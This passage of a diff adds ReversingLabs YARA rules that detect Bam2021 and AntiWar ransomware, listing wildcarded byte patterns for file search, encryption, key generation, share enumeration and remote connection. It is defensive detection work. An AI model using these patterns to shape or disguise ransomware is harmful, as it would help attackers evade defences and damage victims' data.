+            ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ??
+            EB ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89
+            45
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($enum_shares_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Bam2021 : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Bam2021 ransomware."
+		author = "ReversingLabs"
+		id = "31ae99e3-223c-51fb-97c1-353ff063057f"
+		date = "2021-09-17"
+		modified = "2021-09-17"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Bam2021.yara#L1-L167"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5b717510991b78f07806e88f3dfe1c27d6ec1ec21af61a7c4f1edf7c915785d5"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Bam2021"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$enum_shares = {
+            83 EC ?? 53 55 8B 2D ?? ?? ?? ?? 56 57 68 ?? ?? ?? ?? FF D5 8B 74 24 ?? 6A ?? 56 C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24
+            ?? 8D 44 24 ?? 50 51 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 89 06 33 C0 5F 5E
+            5D 5B 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85
+            FF 75 ?? 89 06 8B 44 24 ?? 50 6A ?? 57 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8D 4C 24
+            ?? 51 57 8D 54 24 ?? 52 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 85 ?? ?? ?? ?? 33 DB 39 5C
+            24 ?? 76 ?? 8D 77 ?? 90 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44
+            24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 8B 06 50 C7 44 24 ?? ?? ?? ?? ?? 89 44 24
+            ?? FF D5 6A ?? 6A ?? 6A ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 3E E8 ?? ??
+            ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 46 ?? 83 E0 ?? 3C ??
+            75 ?? 8B 4C 24 ?? 8B 44 24 ?? 51 8D 56 ?? 52 50 E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5C 24
+            ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 74 ?? 56 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 31 57 FF 15 ?? ?? ?? ?? 8B 54 24 ?? 52 E8 ?? ?? ??
+            ?? 8B F0 85 F6 74 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 89 30 33
+            C0 5F 5E 5D 5B 83 C4 ?? C2
+        }
+		$find_files_p1 = {
+            8D 94 24 ?? ?? ?? ?? 52 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8
+            ?? 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24
+            ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 3B D5 74 ?? 66 8B 50 ?? 66 3B 51
+            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C5 0F 84 ??
+            ?? ?? ?? B9 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 90 66 8B 10 66 3B 11 75 ?? 66 3B D5 74
+            ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D5 75 ?? 33 C0 EB ?? 1B C0
+            83 D8 ?? 3B C5 0F 84 ?? ?? ?? ?? F6 84 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8C 24
+            ?? ?? ?? ?? 51 BB ?? ?? ?? ?? 8D 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 9C 24 ?? ??
+            ?? ?? 8D 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 55 8D 8C 24
+            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? 8B 54 24 ??
+            52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C6 84 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 66 89 44 24 ?? 72 ?? 8B 4C 24 ?? 51 E8 ?? ?? ?? ??
+            83 C4 ?? 8B 54 24 ?? 8B 44 24 ?? 42 3B C2 77 ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 8B 44 24
+            ?? 8B 4C 24 ?? 8B 54 24 ?? 8D 34 0A 3B C6 77 ?? 2B F0 8B 44 24 ?? 39 2C B0 75 ?? 6A
+            ?? E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 89 04 B1 8B 54 24 ?? 8B 0C B2 89 4C 24 ?? 89
+        }
+		$find_files_p2 = {
+            4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? 3B CD 74 ?? 33 C0 C7 41 ?? ?? ?? ?? ?? 89 69 ?? 6A
+            ?? 66 89 41 ?? 55 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? FF 44
+            24 ?? E9 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 73 ?? 8D 84 24 ??
+            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 50 68 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 47 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ??
+            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 16 52 8D 84 24 ??
+            ?? ?? ?? 50 FF D3 85 C0 75 ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 7C ?? E9 ?? ?? ?? ?? 57 8D
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C0 ?? 8D 94 24 ?? ?? ?? ?? 2B D0 0F
+            B7 08 66 89 0C 02 83 C0 ?? 66 3B CD 75 ?? 33 C0 EB ?? 8D A4 24 ?? ?? ?? ?? 8D 49 ??
+            0F B7 8C 04 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 33 C0 8D 9B
+            ?? ?? ?? ?? 0F B7 88 ?? ?? ?? ?? 66 89 8C 04 ?? ?? ?? ?? 83 C0 ?? 66 3B CD 75 ?? 8B
+            5C 24 ?? 6A ?? B9 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 8D 8C
+            24 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15
+        }
+		$encrypt_files_p1 = {
+            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ??
+            ?? ?? 64 A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 DB 3B C3 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B F0
+            83 C4 ?? 3B F3 74 ?? 68 ?? ?? ?? ?? 8D 46 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6
+            EB ?? 33 C0 A3 ?? ?? ?? ?? 8D 4C 24 ?? 51 8B F8 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84
+            24 ?? ?? ?? ?? 33 D2 53 89 9C 24 ?? ?? ?? ?? 50 66 89 94 24 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89 8C 24 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 33 C0 53 51 66 89 84 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 33 D2 53 50 66 89 54
+            24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 33 C9 53 52 66 89
+            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 ?? 83 C4 ?? 50 89 5C 24 ?? 89 44 24 ?? E8 ??
+            ?? ?? ?? 53 53 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B
+        }
+		$encrypt_files_p2 = {
+            F4 33 C9 8D 84 24 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 89 5E ?? 89 64 24 ?? 66 89 4E ??
+            8D 50 ?? 90 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 94 24 ?? ?? ?? ?? 52 53 FF 15 ?? ?? ?? ??
+            85 C0 74 ?? 83 EC ?? 8B F4 33 C0 C7 46 ?? ?? ?? ?? ?? 89 5E ?? 66 89 46 ?? 8D 84 24
+            ?? ?? ?? ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ?? 66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B
+            C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 6A ?? 8D 8C 24
+            ?? ?? ?? ?? 51 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ?? ??
+            ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? EB ?? 8D 49 ??
+            66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            57 E8 ?? ?? ?? ?? 53 6A ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
+            ?? ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7 46 ?? ??
+            ?? ?? ?? 89 5E ?? 8D 44 24 ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 8D A4 24 ?? ?? ?? ??
+            66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 44 24 ?? E8 ?? ?? ?? ?? 57 E8 ??
+            ?? ?? ?? 53 6A ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
+            ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 EC ?? 8B F4 33 D2 C7
+        }
+		$encrypt_files_p3 = {
+            46 ?? ?? ?? ?? ?? 89 5E ?? 8D 84 24 ?? ?? ?? ?? 66 89 56 ?? 89 64 24 ?? 8D 50 ?? 90
+            66 8B 08 83 C0 ?? 66 3B CB 75 ?? 2B C2 D1 F8 50 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 44 24 ?? 50 53 6A ?? 53 53 53 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4C 24 ?? 51 FF 15 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B F8 53
+            57 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8D 54
+            24 ?? 52 57 8B CE E8 ?? ?? ?? ?? 8B 74 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 74 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 8B 8C 24 ?? ?? ?? ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ??
+            ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$generate_key = {
+            50 C7 44 24 ?? ?? ?? ?? ?? F3 A5 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ??
+            ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51
+            6A ?? 6A ?? 6A ?? 8D 54 24 ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ??
+            ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 4C
+            24 ?? 51 6A ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24
+            ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 54 24 ?? 6A ?? 8D 44 24 ?? 50 8D 4C 24
+            ?? 51 6A ?? 52 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ??
+            ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 8B 44 24 ?? C1 E8 ??
+            89 44 24 ?? 03 C3 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 5F 5E 5D B8 ?? ?? ??
+            ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C2 ?? ?? 53 55 56 E8 ?? ?? ?? ?? 8B
+            4C 24 ?? 83 C4 ?? 89 5C 24 ?? 83 C3 ?? 53 8D 44 24 ?? 50 56 6A ?? 6A ?? 6A ?? 51 FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 8B 4C 24 ?? 33 CC E8 ?? ?? ??
+            ?? 83 C4 ?? C2 ?? ?? 8B 7C 24 ?? 8B 54 24 ?? 57 56 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 56
+            89 38 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 5F 5E 5D 5B 33 CC 33 C0 E8 ?? ?? ?? ?? 83
+            C4 ?? C2
+        }
+		$remote_connection = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 57 8D 44 24 ?? 50 68 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 46 ?? 83
+            F8 ?? 74 ?? 8B 46 ?? 8D 7E ?? 83 E8 ?? 83 78 ?? ?? 7E ?? 8B 48 ?? 51 8B CF E8 ?? ??
+            ?? ?? 8B 3F 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 54 24 ?? 52 89 44 24 ?? FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? 8B 46 ?? 50 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24
+            ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 48 ?? 8B 11 8B 02 0F B7 56
+            ?? B9 ?? ?? ?? ?? 52 89 44 24 ?? 66 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 4E ?? 66 89 44
+            24 ?? 6A ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B
+            56 ?? 52 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C0 5F 8B 8C 24 ?? ?? ?? ?? 33 CC E8
+            ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 8B 8C 24 ?? ?? ?? ?? 5F 33 CC B8 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($enum_shares) and ( all of ($find_files_p*)) and ($generate_key) and ( all of ($encrypt_files_p*)) and ($remote_connection)
+}
+rule REVERSINGLABS_Win64_Ransomware_Antiwar : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects AntiWar ransomware."
+		author = "ReversingLabs"
+		id = "3113ec26-e149-527b-9478-4dd86c7fa464"
+		date = "2022-04-21"
+		modified = "2022-04-21"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.AntiWar.yara#L1-L146"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2d885f35454aaf7cb33f03c30b6681aa16cbe8353003bbae0b1e9fdecb2ff8a7"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "AntiWar"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_p1 = {
+            49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ??
+            48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 4C 8B F0 48 89 44 24 ?? 48 83 F8 ??
+            0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 41 8B DC 48 8D 3D ?? ?? ?? ?? 66 90 48 8B 0F
+            E8 ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? FF C3 48 83 C7 ?? 83 FB ?? 72 ?? 49 8B D7 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ??
+            F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03
+            00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7 85 ?? ?? 00 00 ?? ?? 8B 05 ?? ?? ?? ?? 4C 8D
+            3C C5 ?? ?? ?? ?? 41 BC ?? ?? ?? ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04
+            0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ??
+            75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11 35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 89 05 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D 0D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 74 ?? 45 33
+            C9 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ?? ?? ?? ?? ?? 66
+            66 0F 1F 84 00 ?? ?? 00 00 4B 8D 14 31 41 0F B6 C9 80 E1 ?? C0 E1 ?? 49 8B C3 48 D3
+        }
+		$find_files_p2 = {
+            E8 30 02 4C 8D 42 ?? 41 8D 0C 12 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 10 49 83
+            C1 ?? 49 83 F9 ?? 72 ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 8B D0 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E8 ?? 48 63 C8 78 ?? 0F 1F 40 ?? 66 83 BC
+            4D ?? ?? 00 00 ?? 74 ?? FF C8 48 83 E9 ?? 79 ?? EB ?? B3 ?? 48 98 4C 8D B5 ?? ?? ??
+            ?? 4D 8D 34 46 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 45 33 ED 48 8B 0F E8 ?? ?? ?? ??
+            48 8B D0 49 8B CE FF 15 ?? ?? ?? ?? 0F B6 DB 85 C0 41 0F 44 DD 48 8D 7F ?? 48 83 EE
+            ?? 75 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 84 DB 0F 84 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ??
+            45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 FF
+            90 89 BD ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 84 00 ?? ?? 00 00 83 3D ?? ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 83 79 ?? ?? 0F 8C
+            ?? ?? ?? ?? 66 0F 6F 35 ?? ?? 03 00 66 0F 6F 3D ?? ?? 03 00 66 C7 85 ?? ?? 00 00 ??
+            ?? 65 48 8B 04 25 ?? ?? ?? ?? 4A 8B 0C 38 41 8B 04 0C 39 05 ?? ?? ?? ?? 7E ?? 48 8D
+            0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? C6 05 ?? ?? ?? ?? ?? 0F 11
+            35 ?? ?? ?? ?? 0F 11 3D ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 89 05 ?? ?? 04 00 48 8D
+        }
+		$find_files_p3 = {
+            0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 3D ?? ?? ?? ??
+            ?? 74 ?? 48 8B C7 41 BA ?? ?? ?? ?? 4C 8D 35 ?? ?? ?? ?? 4D 2B D6 49 BB ?? ?? ?? ??
+            ?? ?? ?? ?? 90 4E 8D 0C 30 0F B6 C8 80 E1 ?? C0 E1 ?? 4D 8B C3 49 D3 E8 45 30 01 43
+            8D 0C 11 80 E1 ?? C0 E1 ?? 49 8B D3 48 D3 EA 41 30 51 ?? 48 83 C0 ?? 48 83 F8 ?? 72
+            ?? 4C 8B 74 24 ?? C6 05 ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? BA
+            ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ??
+            ?? ?? ?? 48 89 85 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 66 89 BD ?? ?? 00 00 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ??
+            48 8D 4D ?? E8 ?? ?? ?? ?? 48 8B D6 48 85 DB 48 0F 45 D3 48 8D 4D ?? E8 ?? ?? ?? ??
+            48 8B 3D ?? ?? ?? ?? 48 8B 5F ?? 48 3B 5F ?? 74 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8B 0B
+        }
+		$find_files_p4 = {
+            48 8B 01 48 8D 54 24 ?? FF 50 ?? 48 83 C3 ?? 48 3B 5F ?? 75 ?? 48 8D 05 ?? ?? ?? ??
+            48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ??
+            72 ?? 48 FF C2 48 8B 8D ?? ?? ?? ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ??
+            48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF
+            48 89 BD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 40 88 BD ?? ?? ?? ?? 48 8D 4D
+            ?? E8 ?? ?? ?? ?? EB ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 4C 8D 85 ??
+            ?? ?? ?? 33 D2 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 85 ?? ?? ??
+            ?? 45 33 C0 49 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45
+            33 E4 4C 8B 7C 24 ?? 48 8D 95 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0
+        }
+		$enum_shares = {
+            48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 ?? 33 D2 C7 44 24 ?? ?? ?? ??
+            ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C 8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42
+            ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ??
+            48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54
+            24 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 89 5C 24 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00
+            ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ?? 48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ??
+            48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B 5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C
+            8B C7 48 8D 54 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 5C 24 ?? 48 8B CF E8 ?? ?? ??
+            ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ??
+            ?? 48 83 C4 ?? C3
+        }
+		$encrypt_files_p1 = {
+            48 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA
